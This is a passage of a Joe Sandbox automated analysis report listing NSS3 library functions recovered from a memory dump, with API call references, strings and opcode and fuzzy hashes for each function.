Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 643ccf7ea59552cc7f9750a58e9fea6626f88f2dab72880621e0ea689473de03
Instruction ID: 537076a0795e35f96d5855e70b02039e134784dfde15c1cc7e4d34ffca70a096
Opcode Fuzzy Hash: 643ccf7ea59552cc7f9750a58e9fea6626f88f2dab72880621e0ea689473de03
Instruction Fuzzy Hash: 57214972A04100ABEF112F29EE0FA9B3B78DB5234DF140634FD1896B12F732C569C6A1

Function 6C840690 Relevance: 15.1, APIs: 10, Instructions: 57threadCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000000,?,?,6C840642,?,?,6C84477E,00000000), ref: 6C840695

Part of subcall function 6C8798D0: calloc.MOZGLUE(00000001,00000084,6C7A0936,00000001,?,6C7A102C), ref: 6C8798E5

PR_NewLock.NSS3(00000000,?,?,6C840642,?,?,6C84477E,00000000), ref: 6C8406A1

Part of subcall function 6C8798D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C879946
Part of subcall function 6C8798D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7316B7,00000000), ref: 6C87994E
Part of subcall function 6C8798D0: free.MOZGLUE(00000000), ref: 6C87995E

PR_GetCurrentThread.NSS3(00000000,?,?,6C840642,?,?,6C84477E,00000000), ref: 6C8406BB
DeleteCriticalSection.KERNEL32(?,00000000,?,?,6C840642,?,?,6C84477E,00000000), ref: 6C8406D1
free.MOZGLUE(?,?,?,6C840642,?,?,6C84477E,00000000), ref: 6C8406D8
PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,?,6C840642,?,?,6C84477E,00000000), ref: 6C8406F4

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C84070A
free.MOZGLUE(?), ref: 6C840711
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C84072D
PR_SetError.NSS3(?,00000000), ref: 6C840738

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Error$CriticalSectionfree$DeleteLock$CountCurrentInitializeLastSpinThreadValuecalloc
String ID:
API String ID: 3345202482-0
Opcode ID: ea1013f6e69cba41413bd5c7ca39b1f7b6051d2c38f53eb14d15005273cb71fb
Instruction ID: 12d06ad4a3fd38b6d8f711a3a693aa74ec57f6a8a65430256a839248f092dab8
Opcode Fuzzy Hash: ea1013f6e69cba41413bd5c7ca39b1f7b6051d2c38f53eb14d15005273cb71fb
Instruction Fuzzy Hash: B611A372B08A155BEF20BFA88E0A74F37789B56618F600429E50997F40E7759415CBA2

Function 6C8566A0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 358COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(00000000), ref: 6C85690A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C856999
PK11_ImportDataKey.NSS3(00000000,0000402A,00000004,0000010C,?,00000000), ref: 6C8569E3

Part of subcall function 6C83F060: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,hrr ech accept confirmation,?,6C8567A0,?,?,?), ref: 6C83F08A

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C856A1F
PK11_FreeSymKey.NSS3(?), ref: 6C856A3F
PK11_FreeSymKey.NSS3(?), ref: 6C856A58

Part of subcall function 6C83EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C83EE85

Part of subcall function 6C83EE50: realloc.MOZGLUE(0FAB1C26,?), ref: 6C83EEAE
Part of subcall function 6C83EE50: PORT_Alloc_Util.NSS3(?), ref: 6C83EEC5
Part of subcall function 6C83EE50: htonl.WSOCK32(?), ref: 6C83EEE3
Part of subcall function 6C83EE50: htonl.WSOCK32(00000000,?), ref: 6C83EEED
Part of subcall function 6C83EE50: memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C83EF01

Strings

ech accept confirmation, xrefs: 6C8566BE
hrr ech accept confirmation, xrefs: 6C8566C3, 6C856A9B

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: K11_$FreeUtil$ErrorItem_Zfreehtonl$Alloc_DataImportmemcpyrealloc
String ID: ech accept confirmation$hrr ech accept confirmation
API String ID: 316861715-779126823
Opcode ID: a9027c064e7da69e4ad10f273d9b0878d5e93a3f7923c1c46c96f51e97e13183
Instruction ID: d4d1e24792b5622e20a7fa00e5176f7a9476d229760df706337eee094fb262ed
Opcode Fuzzy Hash: a9027c064e7da69e4ad10f273d9b0878d5e93a3f7923c1c46c96f51e97e13183
Instruction Fuzzy Hash: BDB1F8B6A043156BE720DA68DE01FAB72A8AF5434CF440D38FD58D6781F770E62987D2

Function 6C73CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C73B999), ref: 6C73CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C73B999), ref: 6C73D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C73B999), ref: 6C73D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C73B999), ref: 6C88972B

Strings

%s at line %d of [%.10s], xrefs: 6C73CFEC, 6C73D018, 6C73D029, 6C73D03F, 6C88978B
database corruption, xrefs: 6C73CFE7, 6C73D013, 6C73D028, 6C73D039, 6C73D03E, 6C889786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C73CFDD, 6C73D00E, 6C73D022, 6C73D033, 6C889780

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 19939c654baa1fe64ab3f49e02d3d92339dcc49445c756b21868bdcca11dc06a
Instruction ID: d5d03ae56eaad0c4ea760fb6bda700902b338d0f86fe3f743a6dbe0b1d40a9d5
Opcode Fuzzy Hash: 19939c654baa1fe64ab3f49e02d3d92339dcc49445c756b21868bdcca11dc06a
Instruction Fuzzy Hash: 7E617B71A002209BD720CF29C940BA6B7F1EF95318F28466DE4499FB82D376D847C7A1

Function 6C8C2680 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_release_memory.NSS3(PR_Select(),PR_Poll()), ref: 6C8C269F
calloc.MOZGLUE(00000014,00000008), ref: 6C8C26E0
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C8C26F4
PR_Sleep.NSS3(?), ref: 6C8C2710

Part of subcall function 6C8CC2A0: PR_IntervalNow.NSS3 ref: 6C8CC2BE
Part of subcall function 6C8CC2A0: PR_NewCondVar.NSS3 ref: 6C8CC2CC
Part of subcall function 6C8CC2A0: EnterCriticalSection.KERNEL32(?), ref: 6C8CC2E8
Part of subcall function 6C8CC2A0: PR_IntervalNow.NSS3 ref: 6C8CC2F7
Part of subcall function 6C8CC2A0: _PR_MD_UNLOCK.NSS3(?), ref: 6C8CC378
Part of subcall function 6C8CC2A0: DeleteCriticalSection.KERNEL32(?), ref: 6C8CC390
Part of subcall function 6C8CC2A0: free.MOZGLUE(?), ref: 6C8CC397

Part of subcall function 6C8C28A0: realloc.MOZGLUE(?,000000A8), ref: 6C8C28EB
Part of subcall function 6C8C28A0: memset.VCRUNTIME140(-FFFFFAC0,00000000,000000A0), ref: 6C8C290A

PR_SetError.NSS3(FFFFE891,00000000), ref: 6C8C287D
free.MOZGLUE(?), ref: 6C8C288B

Strings

PR_Poll(), xrefs: 6C8C2695
PR_Select(), xrefs: 6C8C269A

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalErrorIntervalSectionfree$CondDeleteEnterSleepcallocmemsetreallocsqlite3_release_memory
String ID: PR_Poll()$PR_Select()
API String ID: 3069664790-3034026096
Opcode ID: 96daa8fb7fe7f9b618707d71e39ab57b13ddd256bd48e31a27620ff69cdda8c7
Instruction ID: b65e2a9fd992b8f28709302d46a4e62fcbb2a6df69396a17e2737272ae386bfb
Opcode Fuzzy Hash: 96daa8fb7fe7f9b618707d71e39ab57b13ddd256bd48e31a27620ff69cdda8c7
Instruction Fuzzy Hash: 1F61D375B012168FDB20CF59CA887AAB7B1FF44304F148938D918AB791E739D814CB92

Function 6C83EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C85A4A1,?,00000000,?,00000001), ref: 6C83EF6D

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

htonl.WSOCK32(00000000,?,6C85A4A1,?,00000000,?,00000001), ref: 6C83EFE4
htonl.WSOCK32(?,00000000,?,6C85A4A1,?,00000000,?,00000001), ref: 6C83EFF1
memcpy.VCRUNTIME140(?,?,6C85A4A1,?,00000000,?,6C85A4A1,?,00000000,?,00000001), ref: 6C83F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C85A4A1,?,00000000,?,00000001), ref: 6C83F027

Strings

dtls13, xrefs: 6C83EF33

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 96477adef44bc3c65aa9d0a1f98dc6b5f41222a493e03b7ade79eb44979a31b1
Instruction ID: 3d93e43fc0edd9d5b930510cfb76df7ac63722c19421c3d14966ddb3f4e08f5e
Opcode Fuzzy Hash: 96477adef44bc3c65aa9d0a1f98dc6b5f41222a493e03b7ade79eb44979a31b1
Instruction Fuzzy Hash: 70314831A002249FCB20DF68CD80B8AB7E4EF45348F159869E81C9B741E371ED15CBE1

Function 6C7BAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C7BAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C8D9500,6C7B3F91), ref: 6C7BAFD2

Part of subcall function 6C80B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8E18D0,?), ref: 6C80B095

DER_GetInteger_Util.NSS3(?), ref: 6C7BB007

Part of subcall function 6C806A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C7B1666,?,6C7BB00C,?), ref: 6C806AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C7BB02F
PR_CallOnce.NSS3(6C912AA4,6C8112D0), ref: 6C7BB046
PL_FreeArenaPool.NSS3 ref: 6C7BB058
PL_FinishArenaPool.NSS3 ref: 6C7BB060

Strings

security, xrefs: 6C7BAFB8

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 30240200140cc7169888ab3b18c8129dbd7cabacbc96a1520a5a6c9436c4defe
Instruction ID: fb0e388fa7cf68c206679507095b8ad987da81fa190f7014aa4a93e8aa5801bf
Opcode Fuzzy Hash: 30240200140cc7169888ab3b18c8129dbd7cabacbc96a1520a5a6c9436c4defe
Instruction Fuzzy Hash: 10310A7050830097D7208F18DE85BBA77A4AF8636CF100B69ECB56BBD1E732A149C757

Function 6C7FCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C7FCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C7FCE16
PR_SetError.NSS3(00000000,00000000), ref: 6C7FD079

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 50cec4c3efa65271081cd4e4d95b02fd6e50fa56d19d2940233b3322a4ee853d
Instruction ID: 0d47ff2927a8a71f20f76c1a5e93523fec001fb8e86cabaec41361fb29e4b98a
Opcode Fuzzy Hash: 50cec4c3efa65271081cd4e4d95b02fd6e50fa56d19d2940233b3322a4ee853d
Instruction Fuzzy Hash: CFC19EB1A002199BDB20CF24CD85BDAB7F4BF48318F1441A8E958A7741E775EE96CF90

Function 6C7D06A0 Relevance: 13.7, APIs: 9, Instructions: 225stringCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7D06C2
EnterCriticalSection.KERNEL32(?), ref: 6C7D06D6
PR_Unlock.NSS3 ref: 6C7D06EB

Part of subcall function 6C85DD70: TlsGetValue.KERNEL32 ref: 6C85DD8C
Part of subcall function 6C85DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C85DDB4

free.MOZGLUE(?), ref: 6C7D07DE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D07FA

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSectionValue$EnterLeaveUnlockfreestrlen
String ID:
API String ID: 3527478211-0
Opcode ID: ffb041d0dc4dd45d2e4972dae44c737f29198d5fb7939a6126cde8be9a3aace7
Instruction ID: 4c035434c627eba8e687d6f7abc1b54464d2d8770c45ba2c8dacc484678e1d44
Opcode Fuzzy Hash: ffb041d0dc4dd45d2e4972dae44c737f29198d5fb7939a6126cde8be9a3aace7
Instruction Fuzzy Hash: 8581E8B1A00205DFEB009F64DE8ABAA7BB4FF15308F054568ED495BB12E731E554CBE2

Function 6C824620 Relevance: 13.7, APIs: 9, Instructions: 221threadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6C824963

Part of subcall function 6C7C3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7DAE42), ref: 6C7C30AA
Part of subcall function 6C7C3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7C30C7
Part of subcall function 6C7C3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7C30E5
Part of subcall function 6C7C3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7C3116
Part of subcall function 6C7C3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C7C312B
Part of subcall function 6C7C3090: PK11_DestroyObject.NSS3(?,?), ref: 6C7C3154
Part of subcall function 6C7C3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C317E

SECOID_FindOID_Util.NSS3(?), ref: 6C82465E

Part of subcall function 6C8107B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C7B8298,?,?,?,6C7AFCE5,?), ref: 6C8107BF
Part of subcall function 6C8107B0: PL_HashTableLookup.NSS3(?,?), ref: 6C8107E6
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C81081B
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C810825

SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6C824709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6C824727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6C82473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6C824801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C8E2DA0,?,?,?,?,?,?,?,?,00000000), ref: 6C82482E
PR_GetCurrentThread.NSS3 ref: 6C8248F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C824923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C824937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6C82494E
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C824984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6C8221C2,?,?,?), ref: 6C82499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C8249B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6C8249C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C8249DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C8249E9

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena_Error$AlgorithmFreeTag_$Destroy$FindHashItem_LookupPublicTable$Alloc_ArenaConstCopyCurrentDataEncodeK11_ObjectThreadVerifyWithmemset
String ID:
API String ID: 1962444627-0
Opcode ID: 986907b8f0842265c24318a0b58279d716a4cce555c0949630d1c18426fcedaf
Instruction ID: 6fdc0862b0c7ca183fb3aa7120dde53fb8f7aac976a4671d2705a3e8fed441f5
Opcode Fuzzy Hash: 986907b8f0842265c24318a0b58279d716a4cce555c0949630d1c18426fcedaf
Instruction Fuzzy Hash: 84710875E012095BFB208A55CE88BAA36A4EFC631CF144839DD1597B51D739E8848AF1

Function 6C7B2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0FAB1C26), ref: 6C7B2C5D

Part of subcall function 6C810D30: calloc.MOZGLUE ref: 6C810D50
Part of subcall function 6C810D30: TlsGetValue.KERNEL32 ref: 6C810D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C7B2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7B2CE0

Part of subcall function 6C7B2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C7B2CDA,?,00000000), ref: 6C7B2E1E
Part of subcall function 6C7B2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C7B2E33
Part of subcall function 6C7B2E00: TlsGetValue.KERNEL32 ref: 6C7B2E4E
Part of subcall function 6C7B2E00: EnterCriticalSection.KERNEL32(?), ref: 6C7B2E5E
Part of subcall function 6C7B2E00: PL_HashTableLookup.NSS3(?), ref: 6C7B2E71
Part of subcall function 6C7B2E00: PL_HashTableRemove.NSS3(?), ref: 6C7B2E84
Part of subcall function 6C7B2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C7B2E96
Part of subcall function 6C7B2E00: PR_Unlock.NSS3 ref: 6C7B2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7B2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C7B2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C7B2D3F
free.MOZGLUE(00000000), ref: 6C7B2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C7B2DB8
free.MOZGLUE ref: 6C7B2DC8

Part of subcall function 6C7B3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B3EC2
Part of subcall function 6C7B3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C7B3ED6
Part of subcall function 6C7B3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C7B3EEE
Part of subcall function 6C7B3E60: PR_CallOnce.NSS3(6C912AA4,6C8112D0), ref: 6C7B3F02
Part of subcall function 6C7B3E60: PL_FreeArenaPool.NSS3 ref: 6C7B3F14
Part of subcall function 6C7B3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7B3F27

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: d8a72f36a1f07c60ce2521b70e699a15f9646b4b18ce41e7b2e84c17ba21802a
Instruction ID: 90e4d6b364bbe7e6cd9b2bc2971e3346e8dd1db4a2c3244b2a9d6620dc924a4c
